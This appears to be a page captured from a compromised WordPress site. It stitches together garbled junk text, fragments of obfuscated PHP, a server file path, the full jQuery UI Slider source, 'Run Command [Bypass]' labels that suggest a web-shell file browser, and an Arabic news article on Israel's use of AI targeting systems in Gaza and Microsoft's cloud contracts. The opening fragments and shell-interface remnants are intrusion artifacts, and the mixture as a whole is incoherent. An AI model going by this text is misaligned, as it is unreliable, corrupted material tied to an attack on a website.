财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/jquery/ui/slider.js
/*!
* jQuery UI Slider 1.13.3
* https://jqueryui.com
*
* Copyright OpenJS Foundation and other contributors
* Released under the MIT license.
* https://jquery.org/license
*/
//>>label: Slider
//>>group: Widgets
//>>description: Displays a flexible slider with ranges and accessibility via keyboard.
//>>docs: https://api.jqueryui.com/slider/
//>>demos: https://jqueryui.com/slider/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/slider.css
//>>css.theme: ../../themes/base/theme.css
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"./mouse",
"../keycode",
"../version",
"../widget"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
return $.widget( "ui.slider", $.ui.mouse, {
version: "1.13.3",
widgetEventPrefix: "slide",
options: {
animate: false,
classes: {
"ui-slider": "ui-corner-all",
"ui-slider-handle": "ui-corner-all",
// Note: ui-widget-header isn't the most fittingly semantic framework class for this
// element, but worked best visually with a variety of themes
"ui-slider-range": "ui-corner-all ui-widget-header"
},
distance: 0,
max: 100,
min: 0,
orientation: "horizontal",
range: false,
step: 1,
value: 0,
values: null,
// Callbacks
change: null,
slide: null,
start: null,
stop: null
},
// Number of pages in a slider
// (how many times can you page up/down to go through the whole range)
numPages: 5,
_create: function() {
this._keySliding = false;
this._mouseSliding = false;
this._animateOff = true;
this._handleIndex = null;
this._detectOrientation();
this._mouseInit();
this._calculateNewMax();
this._addClass( "ui-slider ui-slider-" + this.orientation,
"ui-widget ui-widget-content" );
this._refresh();
this._animateOff = false;
},
_refresh: function() {
this._createRange();
this._createHandles();
this._setupEvents();
this._refreshValue();
},
_createHandles: function() {
var i, handleCount,
options = this.options,
existingHandles = this.element.find( ".ui-slider-handle" ),
handle = "<span tabindex='0'></span>",
handles = [];
handleCount = ( options.values && options.values.length ) || 1;
if ( existingHandles.length > handleCount ) {
existingHandles.slice( handleCount ).remove();
existingHandles = existingHandles.slice( 0, handleCount );
}
for ( i = existingHandles.length; i < handleCount; i++ ) {
handles.push( handle );
}
this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) );
this._addClass( this.handles, "ui-slider-handle", "ui-state-default" );
this.handle = this.handles.eq( 0 );
this.handles.each( function( i ) {
$( this )
.data( "ui-slider-handle-index", i )
.attr( "tabIndex", 0 );
} );
},
_createRange: function() {
var options = this.options;
if ( options.range ) {
if ( options.range === true ) {
if ( !options.values ) {
options.values = [ this._valueMin(), this._valueMin() ];
} else if ( options.values.length && options.values.length !== 2 ) {
options.values = [ options.values[ 0 ], options.values[ 0 ] ];
} else if ( Array.isArray( options.values ) ) {
options.values = options.values.slice( 0 );
}
}
if ( !this.range || !this.range.length ) {
this.range = $( "<div>" )
.appendTo( this.element );
this._addClass( this.range, "ui-slider-range" );
} else {
this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" );
// Handle range switching from true to min/max
this.range.css( {
"left": "",
"bottom": ""
} );
}
if ( options.range === "min" || options.range === "max" ) {
this._addClass( this.range, "ui-slider-range-" + options.range );
}
} else {
if ( this.range ) {
this.range.remove();
}
this.range = null;
}
},
_setupEvents: function() {
this._off( this.handles );
this._on( this.handles, this._handleEvents );
this._hoverable( this.handles );
this._focusable( this.handles );
},
_destroy: function() {
this.handles.remove();
if ( this.range ) {
this.range.remove();
}
this._mouseDestroy();
},
_mouseCapture: function( event ) {
var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
that = this,
o = this.options;
if ( o.disabled ) {
return false;
}
this.elementSize = {
width: this.element.outerWidth(),
height: this.element.outerHeight()
};
this.elementOffset = this.element.offset();
position = { x: event.pageX, y: event.pageY };
normValue = this._normValueFromMouse( position );
distance = this._valueMax() - this._valueMin() + 1;
this.handles.each( function( i ) {
var thisDistance = Math.abs( normValue - that.values( i ) );
if ( ( distance > thisDistance ) ||
( distance === thisDistance &&
( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) {
distance = thisDistance;
closestHandle = $( this );
index = i;
}
} );
allowed = this._start( event, index );
if ( allowed === false ) {
return false;
}
this._mouseSliding = true;
this._handleIndex = index;
this._addClass( closestHandle, null, "ui-state-active" );
closestHandle.trigger( "focus" );
offset = closestHandle.offset();
mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" );
this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
top: event.pageY - offset.top -
( closestHandle.height() / 2 ) -
( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) -
( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) +
( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 )
};
if ( !this.handles.hasClass( "ui-state-hover" ) ) {
this._slide( event, index, normValue );
}
this._animateOff = true;
return true;
},
_mouseStart: function() {
return true;
},
_mouseDrag: function( event ) {
var position = { x: event.pageX, y: event.pageY },
normValue = this._normValueFromMouse( position );
this._slide( event, this._handleIndex, normValue );
return false;
},
_mouseStop: function( event ) {
this._removeClass( this.handles, null, "ui-state-active" );
this._mouseSliding = false;
this._stop( event, this._handleIndex );
this._change( event, this._handleIndex );
this._handleIndex = null;
this._clickOffset = null;
this._animateOff = false;
return false;
},
_detectOrientation: function() {
this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
},
_normValueFromMouse: function( position ) {
var pixelTotal,
pixelMouse,
percentMouse,
valueTotal,
valueMouse;
if ( this.orientation === "horizontal" ) {
pixelTotal = this.elementSize.width;
pixelMouse = position.x - this.elementOffset.left -
( this._clickOffset ? this._clickOffset.left : 0 );
} else {
pixelTotal = this.elementSize.height;
pixelMouse = position.y - this.elementOffset.top -
( this._clickOffset ? this._clickOffset.top : 0 );
}
percentMouse = ( pixelMouse / pixelTotal );
if ( percentMouse > 1 ) {
percentMouse = 1;
}
if ( percentMouse < 0 ) {
percentMouse = 0;
}
if ( this.orientation === "vertical" ) {
percentMouse = 1 - percentMouse;
}
valueTotal = this._valueMax() - this._valueMin();
valueMouse = this._valueMin() + percentMouse * valueTotal;
return this._trimAlignValue( valueMouse );
},
_uiHash: function( index, value, values ) {
var uiHash = {
handle: this.handles[ index ],
handleIndex: index,
value: value !== undefined ? value : this.value()
};
if ( this._hasMultipleValues() ) {
uiHash.value = value !== undefined ? value : this.values( index );
uiHash.values = values || this.values();
}
return uiHash;
},
_hasMultipleValues: function() {
return this.options.values && this.options.values.length;
},
_start: function( event, index ) {
return this._trigger( "start", event, this._uiHash( index ) );
},
_slide: function( event, index, newVal ) {
var allowed, otherVal,
currentValue = this.value(),
newValues = this.values();
if ( this._hasMultipleValues() ) {
otherVal = this.values( index ? 0 : 1 );
currentValue = this.values( index );
if ( this.options.values.length === 2 && this.options.range === true ) {
newVal = index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal );
}
newValues[ index ] = newVal;
}
if ( newVal === currentValue ) {
return;
}
allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) );
// A slide can be canceled by returning false from the slide callback
if ( allowed === false ) {
return;
}
if ( this._hasMultipleValues() ) {
this.values( index, newVal );
} else {
this.value( newVal );
}
},
_stop: function( event, index ) {
this._trigger( "stop", event, this._uiHash( index ) );
},
_change: function( event, index ) {
if ( !this._keySliding && !this._mouseSliding ) {
//store the last changed value index for reference when handles overlap
this._lastChangedValue = index;
this._trigger( "change", event, this._uiHash( index ) );
}
},
value: function( newValue ) {
if ( arguments.length ) {
this.options.value = this._trimAlignValue( newValue );
this._refreshValue();
this._change( null, 0 );
return;
}
return this._value();
},
values: function( index, newValue ) {
var vals,
newValues,
i;
if ( arguments.length > 1 ) {
this.options.values[ index ] = this._trimAlignValue( newValue );
this._refreshValue();
this._change( null, index );
return;
}
if ( arguments.length ) {
if ( Array.isArray( arguments[ 0 ] ) ) {
vals = this.options.values;
newValues = arguments[ 0 ];
for ( i = 0; i < vals.length; i += 1 ) {
vals[ i ] = this._trimAlignValue( newValues[ i ] );
this._change( null, i );
}
this._refreshValue();
} else {
if ( this._hasMultipleValues() ) {
return this._values( index );
} else {
return this.value();
}
}
} else {
return this._values();
}
},
_setOption: function( key, value ) {
var i,
valsLength = 0;
if ( key === "range" && this.options.range === true ) {
if ( value === "min" ) {
this.options.value = this._values( 0 );
this.options.values = null;
} else if ( value === "max" ) {
this.options.value = this._values( this.options.values.length - 1 );
this.options.values = null;
}
}
if ( Array.isArray( this.options.values ) ) {
valsLength = this.options.values.length;
}
this._super( key, value );
switch ( key ) {
case "orientation":
this._detectOrientation();
this._removeClass( "ui-slider-horizontal ui-slider-vertical" )
._addClass( "ui-slider-" + this.orientation );
this._refreshValue();
if ( this.options.range ) {
this._refreshRange( value );
}
// Reset positioning from previous orientation
this.handles.css( value === "horizontal" ? "bottom" : "left", "" );
break;
case "value":
this._animateOff = true;
this._refreshValue();
this._change( null, 0 );
this._animateOff = false;
break;
case "values":
this._animateOff = true;
this._refreshValue();
// Start from the last handle to prevent unreachable handles (#9046)
for ( i = valsLength - 1; i >= 0; i-- ) {
this._change( null, i );
}
this._animateOff = false;
break;
case "step":
case "min":
case "max":
this._animateOff = true;
this._calculateNewMax();
this._refreshValue();
this._animateOff = false;
break;
case "range":
this._animateOff = true;
this._refresh();
this._animateOff = false;
break;
}
},
_setOptionDisabled: function( value ) {
this._super( value );
this._toggleClass( null, "ui-state-disabled", !!value );
},
//internal value getter
// _value() returns value trimmed by min and max, aligned by step
_value: function() {
var val = this.options.value;
val = this._trimAlignValue( val );
return val;
},
//internal values getter
// _values() returns array of values trimmed by min and max, aligned by step
// _values( index ) returns single value trimmed by min and max, aligned by step
_values: function( index ) {
var val,
vals,
i;
if ( arguments.length ) {
val = this.options.values[ index ];
val = this._trimAlignValue( val );
return val;
} else if ( this._hasMultipleValues() ) {
// .slice() creates a copy of the array
// this copy gets trimmed by min and max and then returned
vals = this.options.values.slice();
for ( i = 0; i < vals.length; i += 1 ) {
vals[ i ] = this._trimAlignValue( vals[ i ] );
}
return vals;
} else {
return [];
}
},
// Returns the step-aligned value that val is closest to, between (inclusive) min and max
_trimAlignValue: function( val ) {
if ( val <= this._valueMin() ) {
return this._valueMin();
}
if ( val >= this._valueMax() ) {
return this._valueMax();
}
var step = ( this.options.step > 0 ) ? this.options.step : 1,
valModStep = ( val - this._valueMin() ) % step,
alignValue = val - valModStep;
if ( Math.abs( valModStep ) * 2 >= step ) {
alignValue += ( valModStep > 0 ) ? step : ( -step );
}
// Since JavaScript has problems with large floats, round
// the final value to 5 digits after the decimal point (see #4124)
return parseFloat( alignValue.toFixed( 5 ) );
},
_calculateNewMax: function() {
var max = this.options.max,
min = this._valueMin(),
step = this.options.step,
aboveMin = Math.round( ( max - min ) / step ) * step;
max = aboveMin + min;
if ( max > this.options.max ) {
//If max is not divisible by step, rounding off may increase its value
max -= step;
}
this.max = parseFloat( max.toFixed( this._precision() ) );
},
_precision: function() {
var precision = this._precisionOf( this.options.step );
if ( this.options.min !== null ) {
precision = Math.max( precision, this._precisionOf( this.options.min ) );
}
return precision;
},
_precisionOf: function( num ) {
var str = num.toString(),
decimal = str.indexOf( "." );
return decimal === -1 ? 0 : str.length - decimal - 1;
},
_valueMin: function() {
return this.options.min;
},
_valueMax: function() {
return this.max;
},
_refreshRange: function( orientation ) {
if ( orientation === "vertical" ) {
this.range.css( { "width": "", "left": "" } );
}
if ( orientation === "horizontal" ) {
this.range.css( { "height": "", "bottom": "" } );
}
},
_refreshValue: function() {
var lastValPercent, valPercent, value, valueMin, valueMax,
oRange = this.options.range,
o = this.options,
that = this,
animate = ( !this._animateOff ) ? o.animate : false,
_set = {};
if ( this._hasMultipleValues() ) {
this.handles.each( function( i ) {
valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() -
that._valueMin() ) * 100;
_set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
$( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
if ( that.options.range === true ) {
if ( that.orientation === "horizontal" ) {
if ( i === 0 ) {
that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
left: valPercent + "%"
}, o.animate );
}
if ( i === 1 ) {
that.range[ animate ? "animate" : "css" ]( {
width: ( valPercent - lastValPercent ) + "%"
}, {
queue: false,
duration: o.animate
} );
}
} else {
if ( i === 0 ) {
that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
bottom: ( valPercent ) + "%"
}, o.animate );
}
if ( i === 1 ) {
that.range[ animate ? "animate" : "css" ]( {
height: ( valPercent - lastValPercent ) + "%"
}, {
queue: false,
duration: o.animate
} );
}
}
}
lastValPercent = valPercent;
} );
} else {
value = this.value();
valueMin = this._valueMin();
valueMax = this._valueMax();
valPercent = ( valueMax !== valueMin ) ?
( value - valueMin ) / ( valueMax - valueMin ) * 100 :
0;
_set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
if ( oRange === "min" && this.orientation === "horizontal" ) {
this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
width: valPercent + "%"
}, o.animate );
}
if ( oRange === "max" && this.orientation === "horizontal" ) {
this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
width: ( 100 - valPercent ) + "%"
}, o.animate );
}
if ( oRange === "min" && this.orientation === "vertical" ) {
this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
height: valPercent + "%"
}, o.animate );
}
if ( oRange === "max" && this.orientation === "vertical" ) {
this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( {
height: ( 100 - valPercent ) + "%"
}, o.animate );
}
}
},
_handleEvents: {
keydown: function( event ) {
var allowed, curVal, newVal, step,
index = $( event.target ).data( "ui-slider-handle-index" );
switch ( event.keyCode ) {
case $.ui.keyCode.HOME:
case $.ui.keyCode.END:
case $.ui.keyCode.PAGE_UP:
case $.ui.keyCode.PAGE_DOWN:
case $.ui.keyCode.UP:
case $.ui.keyCode.RIGHT:
case $.ui.keyCode.DOWN:
case $.ui.keyCode.LEFT:
event.preventDefault();
if ( !this._keySliding ) {
this._keySliding = true;
this._addClass( $( event.target ), null, "ui-state-active" );
allowed = this._start( event, index );
if ( allowed === false ) {
return;
}
}
break;
}
step = this.options.step;
if ( this._hasMultipleValues() ) {
curVal = newVal = this.values( index );
} else {
curVal = newVal = this.value();
}
switch ( event.keyCode ) {
case $.ui.keyCode.HOME:
newVal = this._valueMin();
break;
case $.ui.keyCode.END:
newVal = this._valueMax();
break;
case $.ui.keyCode.PAGE_UP:
newVal = this._trimAlignValue(
curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
);
break;
case $.ui.keyCode.PAGE_DOWN:
newVal = this._trimAlignValue(
curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) );
break;
case $.ui.keyCode.UP:
case $.ui.keyCode.RIGHT:
if ( curVal === this._valueMax() ) {
return;
}
newVal = this._trimAlignValue( curVal + step );
break;
case $.ui.keyCode.DOWN:
case $.ui.keyCode.LEFT:
if ( curVal === this._valueMin() ) {
return;
}
newVal = this._trimAlignValue( curVal - step );
break;
}
this._slide( event, index, newVal );
},
keyup: function( event ) {
var index = $( event.target ).data( "ui-slider-handle-index" );
if ( this._keySliding ) {
this._keySliding = false;
this._stop( event, index );
this._change( event, index );
this._removeClass( $( event.target ), null, "ui-state-active" );
}
}
}
} );
} );
Run Command [Bypass]
Run Command
الذكاء الاصطناعي في ميادين القتال – tahkoom.com
كتبت إيريني أنطون
في ظل التطور التكنولوجي السريع، أصبح الذكاء الاصطناعي أحد الأدوات الرئيسية في النزاعات المسلحة الحديثة. وفي الصراع المستمر بين إسرائيل وغزة، برز استخدام إسرائيل للذكاء الاصطناعي كعامل حاسم في تحديد الأهداف وتنفيذ الهجمات، مما أثار جدلاً واسعًا حول الأبعاد الأخلاقية والقانونية لهذا الاستخدام.
أنظمة “القتل الخوارزمي”: كيف يعمل الذكاء الاصطناعي؟
كشفت تقارير دولية عن اعتماد إسرائيل على أنظمة ذكية مثل “الإنجيل” وهي منصة تعتمد على خوارزميات الذكاء الاصطناعي في تحليل البيانات الاستخباراتية وتحديد مواقع الأهداف بدقة متناهية، حيث قيل إنها تستطيع إنتاج مئات الأهداف خلال ساعات معدودة .
وفي هذا السياق، صرّح الأستاذ محمد عطية، مبرمج في الذكاء الاصطناعي، قائلاً:
“ما يحدث في ساحة الحرب تجاوز مجرد استخدام الأدوات التقنية إلى الاعتماد الكامل على خوارزميات قد تتخذ قرارات مميتة دون إشراف بشري مباشر. هذه الأنظمة تُستخدم بشكل متسارع في النزاعات دون دراسة كافية لتأثيرها على المدنيين، وغياب الشفافية يجعل الرقابة مستحيلة تقريبًا”.
الجانب القانوني: هل ينتهك الذكاء الاصطناعي قوانين الحرب؟
أثار استخدام هذه الأنظمة موجة من الانتقادات القانونية والحقوقية، خاصة مع تصاعد أعداد الضحايا المدنيين في غزة، حيث يصعب على الخوارزميات التمييز بين هدف عسكري ومبنى سكني أو مستشفى في بيئة حضرية.
وفي هذا الإطار، أوضحت الأستاذة مريم إبراهيم، المحامية:
“القانون الدولي الإنساني ينص بوضوح على ضرورة التمييز بين الأهداف العسكرية والمدنية، ويحمّل القادة العسكريين مسؤولية القرارات المتخذة أثناء الحرب. ولكن عند إدخال الذكاء الاصطناعي في القرار، يصبح من غير الواضح من هو المسؤول قانونيًا. هذه ثغرة خطيرة يجب معالجتها فورًا”.
وأضافت أن “استخدام أنظمة الذكاء الاصطناعي في الحرب دون رقابة بشرية فعلية يمثل انتهاكًا لمبادئ ‘التمييز’ و’التناسب’ التي نصت عليها اتفاقيات جنيف”.
شركات التكنولوجيا والاتهام بالمشاركة
واجهت شركات عالمية، أبرزها Microsoft ، انتقادات بعد تقارير عن تقديم خدمات سحابية وتقنيات ذكاء اصطناعي للجيش الإسرائيلي. وذكرت صحيفة The Guardian أن موظفين بالشركة أعربوا عن استيائهم من هذه المشاركة، خاصة بعد توقيع Microsoft عقدًا بقيمة 1.7 مليون دولار مع وزارة الدفاع الإسرائيلية لتقديم خدمات Azure السحابية .
في الوقت الذي تتسابق فيه الدول لامتلاك أنظمة الذكاء الاصطناعي العسكرية، يظل السؤال الأهم مطروحًا: من يراقب الخوارزميات؟
وفي ظل غياب الأطر القانونية والتنظيمية، يظل المدنيون هم الحلقة الأضعف في معادلة تكنولوجية لا تعرف الرحمة.
زر الذهاب إلى الأعلى